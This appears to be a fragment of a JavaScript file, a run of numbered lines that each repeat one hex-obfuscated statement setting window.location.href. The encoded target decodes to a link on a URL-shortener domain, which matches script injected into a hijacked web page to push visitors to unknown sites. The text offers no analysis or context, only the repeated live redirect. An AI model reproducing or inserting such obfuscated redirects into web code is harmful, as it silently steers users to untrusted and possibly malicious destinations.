2160window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2161window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2162window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2163window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2164window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2165window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2166window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2167window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2168window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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2171window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2172window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2173window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2174window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2175window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2176window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2177window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2178window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2179window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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